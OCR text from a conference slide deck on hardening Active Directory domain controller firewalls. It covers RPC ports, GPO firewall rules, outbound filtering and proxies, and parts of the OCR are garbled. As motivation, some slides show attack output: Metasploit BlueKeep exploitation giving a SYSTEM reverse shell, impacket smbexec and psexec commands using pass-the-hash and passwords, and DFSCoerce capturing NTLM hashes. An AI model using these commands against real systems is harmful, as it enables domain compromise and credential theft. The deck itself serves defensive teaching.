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* Domain Controller Firewall Project
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* Hybrid Environments & Outbound Traffic
 Remote Procedure Call (RPC) Traffic
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Typical Windows Firewall Configuration

Windows Defender Firewall with Advanced 5ecurity on Local Computer

1
ﬁ Windows Defender Firewall with Advanced Securnty provides network securty for Windows computers.

Chrerview

Domain Profile 1s Active

b Windows Defender Firewall is off.

Pnvate Profile

LY Windows Defender Firewall is off.

Public Profile 1s Active

kY Windows Defender Firewall is off.

M Windows Defender Firewall Properties
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Protocol Vulnerabilities (CVE- 2019-0708)

msf5 exploit(windows/rdp/cve 2019 0708 bluekeep rce) > check

e

L - LJ
L "

3

****-}-**

192.168.1.138:3389
192.168.1.138:3389
192.168.1.138:3389 - The target is vulnerable.

msf5 exploit(windows/rdp/cve 2619 0708 bluekeep rce) > exploit

Sta

192.
192
192.
192.
192,

192

rted

168.
168.
168.
168.
168.
168.

*] Sending
[*] Meterpreter session 3 opened (192.168.1.136:4444 -> 192.168.1.138:49163) at 2019-09-10 08:07:21 -0400

- Detected RDP on 192.168.1.138:3389 (Windows version: 6.1.7601) (Requires NLA: No)

- The target is vulnerable.

reverse TCP handler on 192.168.1.136:4444

e

147

al38
.138:
130"
A3
.138:
138:

stage

3389
3389
3389
3389
3389
3389

- Detected RDP on 192.168.1.138:3389 (Windows version: 6.1.7601) (Requires NLA: No)

- The target 1s vulnerable.

- Using CHUNK grooming strategy. Size 50MB, target address Oxfffffa8005607000, Channel count 1.

- Surfing channels
- Lobbing eggs ...
- Forcing the USE of FREE'd object

(206403 bytes) to 192.168.1.138

meterpreter > shell

Process 1740 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
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Protocol Vulnerabilities (CVE-2025-29969)

“m Microsoft MSRC ‘ Security Updates {§ Acknowledgements

MSRC > Customer Guidance > Security Update Guide > Vulnerabilities > CVE-2025-29969

MS-EVEN RPC Remote Code Execution Vulnerability

CVE-2025-29969
Security Vulnerability

Released: May 13, 2025
I Assigning CNA: Microsoft

CVE.org link: CVE-2025-29969 [4

Impact: Remote Code Execution = Max Severity: Important

Weakness: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

CVSS Source: Microsoft

Vector String: CVvSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:0/RC:C

Metrics: CVSS:3.175/65 O
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Remote Code Execution

—i# impacket—-smbexec —hashes :929379U45b51881uU3uU1de3f726500dUff contoso/Admin@contoso—dc
Impacket v0.11.0 - Copyright 2023 Fortra

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
CONTOSO-DC

C:\Windows\system32>|
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Coercion Attacks and NTLM Relay

—it python3 DFSCoerce/dfscoerce.py -u john -p 'Pa$$wlrd' -d contoso.com 10.213.0.100 contoso-dc2.contoso.com
[-] Connecting to ncacn_np:contoso—-dc2.contoso.com[\PIPE\netdfs]

[+] Successfully bound!

[-] Sending NetrDfsRemoveStdRoot!

NetrDfsRemoveStdRoot

ServerName: '10.213.0.100\x00"
RootShare: 'test\x00'
ApiFlags: 1

DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

L+] Listening for events...

LSMB] NTLMv2-SSP Client : 10.213.0.9
[SMB] NTLMv2-SSP Username : contoso\CONTOSO-DC2$%
LSMB] NTLMv2-SSP Hash : CONTOSO-DC2$: :contoso:322e7355ee66e116:C95

O000000002C923FESA9DAO17B7U4893C33E544390000000002000800320030005100570
004C0O059004EO0OL4B00L48003500480004003400570049004E002DOOLEOOLDOOLT7003100
0510057002E0OL4COOLFOOL430041004CO00300140032003000510057002E004CO0O4L4FOOL
4COOUFOO430041004CO00T7000800002C923FESA9DAO106000400020000000800300030
TO3EA933F30DU4O10BE7UCAOF651DUAODC29AAELUBEEOCT7DBE 7B 7'7TAS00A0010000000000
00660073002F00310030002E003200310033002E0030002E0031003000300000000000
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Desired State (Hard to Maintain)

Firewall

Mame Protocol Local Port Remote Address Program Service

Wb Active Directory Domain Controller - Echo Request (ICMPvd-In) |CMPwd Any 10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24 10.2... System Any
¥ Active Directory Domain Controller - Echo Request (ICMPvE-In) |ICMPvE Any 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2...  System Any
W Active Directory Domain Controller - LDAP (TCP-In) TCP 389 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\5ystem32\lsass.exe Any
W Active Directory Domain Controller - LDAP (UDP-In) LIDP 389 10.220.1.0/24, 10.220.2.0/2410.220.3.0/24, 10.2... C\Windows\5ystems2\lsass.exe Any
W Active Directory Domain Controller - LDAP for Global Catalog (TCP-In) TCP 3268 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\5ystem32\lsass.exe Any
¥ Active Directory Domain Controller - SAM/LSA (NP-TCP-In) TCP 445 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2... System Any
W Active Directory Domain Controller - SAM/LSA (NP-UDP-In] 445 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24 10.2... System Any
W Active Directory Domain Controller - Secure LDAP (TCP-In] TCP 636 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\5ystem32\lsass.exe Any
¥ Active Directory Domain Controller - Secure LDAP for Global Catalog (TCP-In) 3269 10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\5ystern32\lsass.exe Any
W Active Directory Domain Controller - W32Time (NTP-UDP-1n] 123 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24 10.2... CA\Windows\5ystems2\svchost.exe waZtime
W Active Directory Domain Controller (RPC) TCP RPC Dynamic Ports 10.220.1.0/24, 10,.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\5ystem32\lsass.exe Any
¥ Active Directory Domain Controller (RPC-EPMAFP) TCP RPC Endpoint Mapper 10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24, 10.2... C\Windows\system32\svchost.exe rpCss
W Active Directory Web Services (TCP-In] TCP 9389 10.220.1.0/24 10.220.3.0/24 CAWindows\ ADWS\Microsoft.Activ... adws
W COM+ Remote Administration (DCOM-In) TCP RPC Dynamic Ports 10.220.1.0/24, 10,.220.3.0/24 CAWindows\system32\dllhost.exe COMSysApp
¥ Core Metworking - Destination Unreachable (ICMPvG-In) |CMPvE Any Any System Any
W Core Metworking - Destination Unreachable Fragmentation MNeeded (ICMPvd-In) [CMPwd Any Any Systern Any
¥ Core Networking - Meighbor Discovery Advertiserent (ICMPvE-In) |ICMPvG Any Any Systemn Any
¥ Core Metworking - Neighbor Discovery Solicitation (ICMPwvE-In) |CMPvE Any Any System Any
W Core Metworking - Packet Too Big (ICMPv&-In] |ICMPvE Any Any Systermn Any
¥ Core Metworking - Parameter Problem (ICMPv&-In) |ICMPwG Any Any Systemn Any
¥ Core Metworking - Time Exceeded (ICMPvE-In) |CMPvk Any Any System Any
¥ DFS Management (TCP-In) TCP RPC Dynamic Ports 10.220.1.0/24, 10,.220.3.0/24 CAWindows\system32\dfsfrsHost.exe  Any
¥ DFS Replication (RPC-In) TCP RPC Dynamic Ports 10.220.1.0/24 CAWindows\system32\dfsrs.exe

W DS (TCP, Incoming) TCP 33 Any CAWindows\System32\dns.exe
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Host-Based vs. Network Firewalls
4

File Edit View

4. T

|} |smb or smb?2

*ethO
Go Capture Analyze Statistics Telephony

e ro——
X | Q o Jhany |
! c'/ ~ —

Wireless Tools Help

Q Q @ iF

Info
Negotiate Protocol Request

Negotiate Protocol Response

35410 - 445 [ACK] Seq=74 Ack=253 Win=64128 Len=0 TSval=7099826
Negotiate Protocol Request

Negotiate Protocol Response

Session Setup Request, NTLMSSP_NEGOTIATE

Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED
Session Setup Request, NTLMSSP_AUTH, User: contoso\Admin
Session Setup Response

Encrypted SMB3

Protocol

SMB

SMB2
TCP

SMB2
SMB2
SMB2
SMB2
SMB2
SMB2
SMB2

Source Destination

9 08:47:08.487451000 HACKER DC
10 08:47:08.489462398 DC HACKER
11 08:47:08.490676097 HACKER DC
12 08:47:08.497156392 HACKER DC
13 08:47:08.499890290 DC HACKER
14 08:47:08.509135782 HACKER DC
15 08:47:08.529215766 DC HACKER
16 08:47:08.541681856 HACKER DC
- 17 08:47:08.545211953 DC HACKER
| 22 08:47:08.553304246 HACKER  DC

No. Time

23 03:
24 08:
25 03:
32 08:
33 038:
34 08.

47:08
47 .08
47:08
47 .08
47 .08
47 .08
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. 554566645
. 558460642
. 559689641
. 969277933
. 570332832
. 573609230

DC
HACKER
DC
HACKER
DC
HACKER

HACKER
DC
HACKER
DC
HACKER
DC

SMB2
SMB2
SMB2
SMB2
SMB2
SMB2

Encrypted
Encrypted
Encrypted
Encrypted
Encrypted
Encrypted

SMB3
SMB3
SMB3
SMB3
SMB3
SMB3




Protocol Classification Question 1:

How should we classify the RDP protocol?
a) Client Traffic (Workstations, Servers)

b) Management Traffic (PAWs / Tier Zero Jump Servers)
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Protocol Classification Question 2:

How should the LDAP protocol be classified?

a) Client Traffic (Workstations, Servers)

b) Management Traffic (PAWSs / Tier Zero Jump Servers / ITDR)
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Note: Domain Controller Security Hardening

* Firewall + Network Segmentation
* SMB Signing

* LDAP Signing

* [IS Extended Protection for Authentication
* App Allowlisting

* Windows Server Core

e Limit NTLM

» Kerberos Armoring

* Tiered Admin Model

« AV + EDR + ITDR

* \Windows Update
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Note: Identity-Centric Security and Zero Trust

ldentity Devices Apps & Data

@Cloud apps

B Data breach

Identity breach . On-premises apps

e Customers

Image Source: Microsoft

CHARLESTON
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Goal: Scripted GPO Management

Domain Controller Firewall
Data collected on: 11/14/2024 6:07:47 PM

General

Computer Configuration (Enabled)
Policies
Windows Setlings
Scripts
Startup

For this GPO, Script order: Not configured

Name

FirewallConfiguration bat
Security Settings
Windows Firewall with Advanced Secunty

Administrative Templates

Policy definitions (ADMX files) retrieved from the central store.

MS Secunty Guide

MSS (Legacy)

Network/DNS Client

Network/Network Connections/Windows Defender Firewall/Domain Profile

RPC Static Porls

Windows Componenis/Microsoft Defender Antivirus/Microsoft Defender Exploit Guard/Attack Surface Reduction

Windows Componenis/Microsoft Defender Antivirus/Microsoft Defender Exploit Guard/Network Protection
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Goal: Infrastructure as Code (l1aC)
{

"$schema": "Set-ADDSFirewallPolicy.schema.json",
"GroupPolicyObjectName": "Domain Controller Firewall”,
"LogDroppedPackets": true,

i #? BlockWmiCommandExecution Indicates whether to block process creations X

& ClientAd(Eiresses originating from PSExec and WMI commands
ﬁ Dfsri{atlcPort using Defender ASR.
DisablelLLMNR

22 DisableMDNS

9 Nicahl aNaethincecRryrnadractc

~N O B0 B

Mame Protocol Local Port Fermote Address

W Active Directory Domain Controller - Echo Request {(ICMPvd-In) AP Any 10.220.1.0/24, 10.220.2.0/24, 10,.220.3.0/24,
o Active Directory Domain Controller - Echo Request (ICMPvE-In) |CMPvE oy 10.220.1.0/24,10.220.2.0/24, 10.220.3.0/24
o Active Directory Domain Controller - LDAP (TCP-In) TCP 380 10.220.1.0/24 10,.220.2.0/24, 10.220.3.0/24
8 Active Directory Domain Controller - LDAP (UDP-In) LIDP 10.220.1.0/24 10.220.2.0/24, 10.220.3.0/24
¥ Active Directory Domain Controller - LDAP for Global Catalog (TCP-In) TCP 10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24
¥ Active Directory Domain Controller - SAM/LSA (MP-TCP-In) TCP 10.220.1.0/24 10.220.2.0/24, 10.220.3.0/24
¥ Active Directory Domain Controller - SAM/LSA (NP-UDP-In) LIDP 10.220.1.0/24 10,.220.2.0/24, 10.220.3.0/24
10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24
10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24,

10.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24,

L0
C

i [ ]
Fad
=

o B E
LA LA enm

-

¥ Active Directory Dornain Controller - Secure LDAP (TCP-In) TCP

Secure LDAP for Global Cataleg (TCP-In) TCP
¥ Active Directory Domain Centroller - W32Time (NTP-UDP-In) LIDP
¥ Active Directory Domain Controller (RPC) TCP RPC Dynamic Ports 10,.220.1.0/24, 10.220.2.0/24, 10.220.3.0/24
¥ Active Directory Domain Controller (RPC-EPMARP) TCP RPC Endpoint Mapper 10.220.1.0/24 10,.220.2.0/24 10.220.3.0/24

W Active Directory Web Services (TCP-In) TCP 9389 10.220.1.0/24, 10.220.3.0/

[ T )

W Active Directory Domain Controller -

—
[ I
L]
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Custom Rules Sample

# Create Inbound rule "Semperis ADSM Agent (TCP-In)"

# Purpose: AD change monitoring and restore

New-NetFirewallRule -GPOSession $GPOSession

_
H - Nam A\ ER0

IDENTITY
% [ PROTECTION

| N conf25
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e

-Name ‘'Semperis-ADSM-Agent-TCP-In’

e

-Group 'Semperis Agents’

-DisplayName 'Semperis ADSM Agent (TCP-In)"'
-Description 'Inbound rule for Semperis ADSM Agent [TCP 8750]"

-Enabled True
-Profile Any
-Direction Inbound
-Action Allow
-Protocol TCP
-LocalPort 87560

e

-RemoteAddress $RemoteManagementAddresses

-Program '%ProgramFiles’%\Semperis\ADSM\Semperis.ExecuterSvcHost.exe’

-Verbose:$isVerbose > $null

e

e

OrPS



Network Service Discovery: TCP and UDP Listeners

Filter

2 Add criteria ¥

E Network Services on Domain Controllers

Computer Protocol | LocalPort | OwningProcess | Process Services H
CONTOSO-DC.contoso.com TCP 22 3,268 CAWindows\System32\OpenSSH\sshd.exe sshd

CONTOS0-DC.contoso.com TCP 53 3,148 CA\Windows\system32\dns.exe DNS

CONTOSO-DC.contoso.com TCP 80 4

CONTOSO-DC.contoso.com UDP 123 1,232 CA\Windows\system32\svchost.exe -k LocalService W32Time

CONTOS0-DC.contoso.com TCP 135 028 CA\Windows\system32\svchost.exe -k RPCSS -p RpcEptMapper,RpcSs

CONTOSO-DC.contoso.com TCP 389 780 CA\Windows\system32\lsass.exe Kdc,KdsSve, Keylso,Netlogon,NTDS,SamSs, VaultSvc
CONTOSO-DC.contoso.com UDP 389 780 CA\Windows\system32\lsass.exe Kdc,KdsSve, Keylso,Netlogon,NTDS,SamSs, VaultSvc
CONTO50-DC.contoso.com TCP 445 4

CONTO50-DC.contoso.com TCP 3,389 1,132 CA\Windows\System32\svchost.exe -k termsvcs TermService

CONTOSO-DC.contoso.com UDP 3,389 1,132 CA\Windows\System32\svchost.exe -k termsvcs TermService

CONTOSO-DC.contoso.com UDP 5,353 1,344 CA\Windows\system32\svchost.exe -k NetworkService -p Dnscache

CONTOS0O-DC.contoso.com TCP 9,289 8 CAWindows\ADWS\Microsoft.ActiveDirectory. WebServices.exe ADWS

CONTOSO-DC.contoso.com TCP 49,668 2,428 CA\Windows\System32\spoolsv.exe Spooler

CONTOS0-DC.contoso.com TCP 59,902 7,796 CA\Windows\system32\certsrv.exe CertSvc
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Troubleshooting

jl ||Il||-||:|||| ‘5 Flrl—' E” I_”g

time path action | pid Src-Ip src-port | dst-ip
18:32:13  SEND JROP - 0.220.1.3 57036 10.220.1.4
18:52:14  5END JROP  « 0.220.1.3 57036 10.220.1.4
18:532:10  SEND JROP - 0.220.1.3 57036 10.220.1.4
18:532:19 RECEIVE DROP - 0.220.1.1 13 10.220.1.255
18:532:20 SEND JROP - 0.220.1.3 57036 10.220.1.4
18:32:20 RECEIVE DROP 0.220.1.1 137 10.220.1.255
18:532:21 RECEIVE DROP - 0.220.1.1 13 10.220.1.255
8:52:35 SEND ROFP 1064  fedluec.. 340 fi2u1:2
18:53:00 RECEIVE DROP - 0.220.1.1 137 10.220.1.255
18:53:01 RECEIVE DROP 0.2201.1 137 10.220.1.255

1. CB.M" ErLSrisir A BT W TR 1 7 1% T 14 RCE
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Whitepaper

Domain Controller Firewall Domain Controller Firewall

While the built-in Windows tools use the TCR/IP transport, hacktools commonly utilize the , L
. File path Description
named pipe to execute code on remote systems:

'contoso/Admin: PasSwordscontoso—de GPO\PolicyDefinitions\en- English localization file for the M55- legacy . admx

impacket-psexec
SYM55-legacy.adml template
Impacket wi.11.8 - Copyright 2823 Fortra ) ) ) o _
yPolicyDefinitions\en- English localization file for the S5ecGouide. admx template
[*] Requesting shares on contoso-dc..... couide.adml
[*]
[*]
[*]
[*]
[*]

[t] Press help for extra shell commamnd

2.13 Security Standards Compliance

:11:.1 Security Technical Impleml.!ntatiun .Eiuidi (STIG) E é rEdd it Cl s [,,Iir activedirecto ry

rfhl._l - .urt w dlf“ [Ver .m i = for Microsott Windows Defender Firewall with Ad-
(c)} Microsoft Corporation. ALl rights
vanced Security was developed and 25t 4 as a tool to

CryWindows' system3zs improve the security of f DOD) information systems.

impacket-smbexec 'contosofAdmin:PasSwird@contoso-dc'

Eﬁﬂl & & 5%

Impacket v&.11.8 - Copyright 2823 Fortra u

WATION Sk,

¢ g r/activedirectory « 5 mo. ago
dcdiagfix - @ Top 1% Commenter

AD Firewall Ports

[1] Launching semi-interactive shell - Careful what you execute

C:\Windows stem3ii>

The following sequence of netsh . exe commands can be used to block MS-SCMR connections over named

pipes, while still allowing the TCPAP traffic used by legitimate tools:

rpc filter
add rule laye ype ; dBcTE42c-9355-4e52-8335-C128355559c18

Our firewall confipuration is compliant with the majority of the STIG requirements out-of-the-bax. The
add . . . . " . " .
d:l can easily be modified to achieve full compliance. The following table of requirements corre-
add

sponds to the Version 2, Release 2 of the STIG, published an November 9th, 2023,

add filter

The bible -> https://firewall.dsinternals.com

Group D Severity  Rule Title Compliance

2.11.3 [M5-TSCH]: Task Scheduler Service Remoting Protocol CATII Windows Defender Firewall with Advanced Security

must be enabled when connected to a domain. This should be added to the sticky of awesome resources :

CAT I Windows Defender Firewall with Advanced Security &

The - STy I with UUID

15 used by the built-in taskschd.msc console and the schtasks.exe ufility

must be enabled when connected to a private
remotely manage scheduled tasks: . "
network.
schtasks.exe fquery /s contoso-dc Jtm "\MWicrosoftiWindows)BitLocker\BitLocker CAT I Windows Defender Firewall with Advanced Security
Encrypt ALL Driw ’
d must be enabled when connected to a public

Folder: ‘\Microsoft\Windows\BitLocker network.

Windows Defender Firewall with Advanced Security
BitLocker Encrypt ALl Drives must block unsolicited inbound connections when

connected to a domain.
While the built-in Windows tools use the TCR/IP transport, hacktools commaonly utilize the

named pipe bo execute code on remote systems:

Page 23
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Outbound Traffic Filtering: Motivation
* Block NTLM relay to workstations

* Prevent lateral movement
» Breaking malware C2 channels

» Mitigate the risk of data breaches
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Services Impersonating Users

Windows Update Properties (Local Computer]

General LogOn  Recovery Dependencies

Service name:  DETCSLg

DiEn'I:lLEI ¥ Ndme: Windows LI P date

Enables the detection, download, and installation of A
updates for Windows and other programs. f this

carmira ic disashlad 1care A thic famir dar will Rt ka

Description:
iy

Fath to executable:

CWindows'system 32 svchost exe & netsves p

Startup type: Manual

Service status:  Stopped

Start
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Custom Scheduled Task Handlers

(&) RefreshCache Properties (Local Computer)

General Triggers Actions Conditions Settings History

When you create a task, you must specify the action that will cccur when your task starts,

Action Details

Custom Handler
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Azure Arc Agent Components
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\Proara

azcmagent.exe

y azcmagent_check_updates.psi

y azcmagent_completion.ps]

AzureArcConfiguration.exe

AzureArcConfiguration.exe.config

niMmas.exe

y install_azcmagent.ps|

Microsoft.Bcl.Asyncinterfaces.dll

Microsoft.|dentity.Client.dll

OPS



Azure Arc Agent Default Firewall Rule

SmeCutboundOpenkException Properties

General Programs and Services Remote Computers

Protocols and Ports Scope Advanced Local Principals

Local |IP address
L. (® Any P address

I
() These [P addre

iemote |P address
R () Any IP address
A i B
(@) These |P addre

(o R
—h

-y LT —|- _'-.j " i.___:l

ol o
[

Lad O3 EE3 B0

--. .
5 .—l- !. | !.:I'J ;
il wd L]

ET Pd Peud Pl i
SNOOoOo o

ET 0 ek ek ek (0 £
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Microsoft Defender (Identity + Endpoint)

* Endpoint name resolution and lateral movement detection (SMB, DCOM, NBNS, RDP)
» Cloud connectivity from multiple binaries

URLs used for core functionality
NOTE: In disconnected environments where web browsing (connections to "open" internet) is not possible/allowed, web & network protection as well as SmartScreen connectivity can be considered optional functionality.

Service Port  Endpoint/URLs Endpoint/URL Description Type Comments 0s

~ ) . Core Defender for Endpoint services. Formerly: MAPS, Malware Sample Submission Storage, AutolR i N . ..
Core Defender for Endpoint services ~ N Required |Core MDE services. Prerequisites must be met to successfully connect to the new URL patterns.
Sample Stora ymmand and Control, Cyber data.

Web & net | Defender Smart ] ing pro io ions and web Optional ind ironm
eb & network prote

content filtering. Network/web protection “us /IP indicators. limited. Required fo om URL/IP indicato

SmartScreen : .check .mi Used for Microsoft Defender SmartScree ck application e tion for trusted apps Optional |Needed for checking reputation/trust for downloaded applications Windows

nder for Endp . . . . . .
f : Irity settings management without Intune enrollment Optional if settings management is performed through other management tools

Service Endpoint/URLs Endpoint/URL Description Type Comments
Linux app/platform updates packages.microsoft.com : 0 ! e the Li Optional if distributing/upgrading Linux installations using a different method

. . . . . Optional if
Mac app/platform updates : crosoft-com.akamaized.net C ce C 3 e ( 0s Ap
L )

. . . . . . . § . Optional if updates are being downloaded and distributed centrally (WSUS/Mirror/ConfigMgr
Windows/Mac/Linux security intelligence updates go.microsoft.com Microsoft Defender Antivirus Content Delivery Network (CDN) URLs - Security Intelligence and P F 8 v gMer)
Windows antimalware platform updates : definitionupdates.microsoft.com Windows antimalware platform updates. Linux and macQOS clients use this location as the primary Required

. i i . Windows clients use this location as an alternative ("MMPC") or as a fallback location when other configured
(alternative download location / direct from Defender cloud) https://www.microsoft.com/security/encyclopedia/adlpackages.aspx download location. ( ) 8

ces fail, and retrieves update packages as determined by the redirection logic.

: . Optional if updates are being downloaded and distributed centrally (WSUS/Mirror/ConfigMgr)
Windov ity intelligenc es . deli .mp. . . . . . -

o Security intelligence & i alware platform updates, whe e clie -onfigured to download . Sensa ates always come as ; e . EDR logic updates .
product updates to EDR sensors. W VS ate i X i Required Windows
(wh ing Mi ft/Wind dat th /method) Defender updates from Windows Update, will be downloaded as they become available. come 0 ende 0 i i c
when using Microso indows update as the source/metho ate.

e used to perform periodic updates to

URLs used for certificate validation checks

NOTE: Certificate validation is performed through the Windows operating system, helping to prevent abuse of compromised certificates. This means the operating system must be able to connect to these destinations, or, should be updated with the latest certificate trust lists if they can't retrieve them from Microsoft directly. Read more at
https://learn.microsoft.com/windows-server/identity/ad-cs/configure-trusted-roots-disallowed-certificates for more information about management of trusted root certificates in disconnected environments.

Service Port Endpoint/URLs Endpoint/URL Description Type Comments 0s
Optional if updates to Windows root certificate trust lists are being managed through other methods in the
www.microsoft.com/pkiops/* . " . ) . N . environment. If Cloud-delivered protection is unable to connect to this destination through a proxy, add
. . Used when creating the SSL connection to MAPS for updating the CRL Required . . . . .
www.microsoft.com/pki/* registry setting "SSLOptions" with value 2. Registry
path:"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"

Optional if updates to Windows root certi > trust lists are being managed through other methods in the
. . o R . ate . environment. If Cloud-delivered protection is unable to connect to this destination through a proxy, add .
Windows operating system certificate validation checks ctldl.w supds . Required i X Windows
) ry
soft\Windows Defender\Spynet"
Optional if updates to Windows root certificate trust lists are being managed through other methods in the
. e . . . - . . environment. If Cloud-delivered protection is unable ect to this destination through a proxy, add
crl.microsoft.com Certificate Revocation Lists - required to validate certificates Required . . . . .
registry setting "SSLOptions" with value 2. Registry

path:"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet"

Service Endpoint/URLs Endpoint/URL Description Type

Live response (push notification model only) : * wns.windows.com

Windows
o connections to Windows clients. This service cannot be used through a proxy. client (non-server) operating systems
ogin.

login.microsoftonline.com
Windows Push Notification Services (WNS) for Live Response is used to expedite live response Ooti | Improves live response connection initiation speed (Direct Connection/Proxy bypass required) on Windows
ptiona

urity.microsoft.com . .
- ) ] ) ] . Required for the vulnerability management a ment tool for network de . . . . X o .
Vulnerability management network scanner standalone tool A4 * blob.core.windo et/netwo nnerstable/* ) loaded f : | Optional |Toolis supported on Windows 8 and above and Windows Server 2012 and above Windows

. ) ownloaded from the portal.
login.windows.net

e
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ldea: Black Hole WIinHTTP Proxy
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Adrministrator: Command Prompt — L]
C:\>netsh winhttp show advproxy
Current WinHTTP advanced proxy settings:
{
"Proxy”: "http=localhost:8888;https=localhost:8888",
"ProxyBypass”: "<local»;ctldl.windowsupdate.com;login.live.com;dmd.metaservices.microsoft.com;licens

ing.mp.microsoft.com;msedge.api.cdp.microsoft.com;go.microsoft.com;www.msftconnecttest.com;wdcp.microsoft.com
sy ¥smartscreen-prod.microsoft.com;checkappexec.microsoft.com;emdl.ws.microsoft.com;*.prod.do.dsp.mp.microsoft.
com; *.windowsupdate.com;*.delivery.mp.microsoft.com;*.update.microsoft.com;adl.windows.com;tsfe.tratficshapin
g.dsp.mp.microsoft.com;settings-win.data.microsoft.com;settings.data.microsoft.com;management.azure.com; login
.microsoftonline.com;*.login.microsoft.com;login.windows.net;*.his.arc.azure.com;aka.ms;download.microsoft.co
m;pas.windows.net;*.guestconfiguration.azure.com;guestnotificationservice.azure.com;*.guestnotificationservic

e.azure.com;*.servicebus.windows.net;settings-win.data.microsoft.com;*.endpoint.security.microsoft.com;*.ods.
opinsights.azure.com;*.oms.opinsights.azure.com;*.blob.core.windows.net;*.azure-automation.net;*.endpoint.sec
urity.microsoft.com;eu-v20.events.data.microsoft.com;uk-v20.events.data.microsoft.com;us-v20.events.data.micr
hsnft.cnm;au—v29+events.data+micrnsnft.ﬂﬂm;*.smartscreen—prnd.micrnsnft.cnm;*.smartscreen.micrnsnft.cnm;*.che
ckappexec.microsoft.com;*.urs.microsoft.com;*.dm.microsoft.com;enterpriseregistration.windows.net;login.micro
softonline.com;*.wns.windows.com;login.live.com;*.security.microsoft.com;*.blob.core.windows.net/networkscann
erstable/*;login.windows.net;*.wdcp.microsoft.com;*.wd.microsoft.com;login.windows.net;*.security.microsoft.c
om;*.blob.core.windows.net/networkscannerstable/*;winatp-gw-aue.microsoft.com;winatp-gw-aus.microsoft.com;win
atp-gw-neu.microsoft.com;winatp-gw-weu.microsoft.com;winatp-gw-neu3.microsoft.com;winatp-gw-weu3.microsoft.co
m;winatp-gw-uks.microsoft.com;winatp-gw-ukw.microsoft.com;winatp-gw-cus.microsoft.com;winatp-gw-eus.microsoft
.com;winatp-gw-cus3.microsoft.com;winatp-gw-eus3.microsoft.com;*.ods.opinsights.azure.com;*.oms.opinsights.az
ure.com;*.blob.core.windows.net;*.download.windowsupdate.com;*.download.microsoft.com;fe3cr.delivery.mp.micro
soft.com/ClientWebService/client.asmx;*.update.microsoft.com;*.delivery.mp.microsoft.com;*.windowsupdate.com;
go.microsoft.com;definitionupdates.microsoft.com;https://www.microsoft.com/security/encyclopedia/adlpackages.
aspx; login.microsoftonline.com;*.download.windowsupdate.com;*.download.microsoft.com;fe3cr.delivery.mp.micros
oft.com/ClientWebService/client.asmx;crl.microsoft.com;settings-win.data.microsoft.com;ctldl.windowsupdate.co
mj;ussusleastprod.blob.core.windows.netjussus2eastprod.blob.core.windows.net;ussus3eastprod.blob.core.windows.
net;ussusdeastprod.blob.core.windows.net;wsusleastprod.blob.core.windows.net;wsus2eastprod.blob.core.windows.
net;ussuslwestprod.blob.core.windows.net;ussus2westprod.blob.core.windows.net;ussus3westprod.blob.core.window
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WInHTTP Proxy Configuration Issues

Administrator: Command Prompt

C:\>netsh winhttp reset autoproxy

Error resetting proxy autodiscovery service. (87) The parameter is incorrect.
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Windows Firewall Dynamic Keywords Feature

* Incompatible with GPO firewall rules (but supports Intune)
* Needs FQDN rule prehydration

» Requires Microsoft Defender AV

* DNS over HTTPS (DoH) must be disabled
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Microsoft Zero Trust DNS (Preview)

Work-from-home Wi-Fi Network Protective Allowed
DNS Server & clients |
e
oS &
Encrypted

DNS
Policy check

Windows 11 Device

Web Server for site.example

ZT D NS
m‘i:"“ﬁ ,
one

https://site. -example/index,. htm

1@* /Ny e
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Conclusion: Do NOT Block Outbound Traffic in Windows
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HTTP Proxy Servers

B Microsoll Internet Security and Acceleration Server 2006

Fle Action Yiew Help

% @ £ @ 2

.| " ..-..:.-_-.:.-r [nbermet Seourity and

dl = aseryer 2 0I0S

_] Fondt oring

# Fir T ':.'

Yirtual Prevate Nebworks

Confegurstion
e Metworks
&y Cache
) Add-ns
] General

§ Troubleshoobing

Firewall Folic W

Crdes | Mame | Action

i =L
= | ok -II HI J l.-.'

SBS RWW Web Publishing Fuls

SBS Company'WWeb Web Publishing Rule

SBS R RIPC Web Publishing Ruls

SBS Exchange Acbive Sync Web Publishing Fiubs
SEBS Oublook, Amasdere Web Publshing Rule
SES O Web Publshing Rubs

SES Company'Web LIRL redirect

SES Remobe 'Web Wiorkplace URL Redirect

SBS Server Web Trafhic

Loc skt

15 SES — DS Ol

- 3] K S —

Done
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Defender Exploit Guard Network Protection

A Prevent users and apps from accessing dangerous websites []

E} Prevent users and apps from accessing dangerous websites

() Not G onfigured Comment: Y Virus & threat protection

(@) Enabled Connection blocked

_ Your IT adminmistrator caused Windows
() Disabled Defender Security Center to block this
supported o | At leact Windows Server 201 5 network connection. Contact your IT help
desk.
e e 5:18 PM
Dptions: - £ AW g B

Elock
- Enable or disable Microsoft Defender Exploit Guard network

protection to prevent employees from using any application to

access dangerous domains that may host phishing scames,
exploit-hosting sites, and other malicicus content on the
Internet.
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DCE/RPC Documentation

"Explanations by alien hybrids for robot lawyers,

which contain no understandable information at all.”
Ned Pyle, Microsoft
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Static RPC Ports — Custom ADMX Template

File Action View Help

o= 2F 2 HET

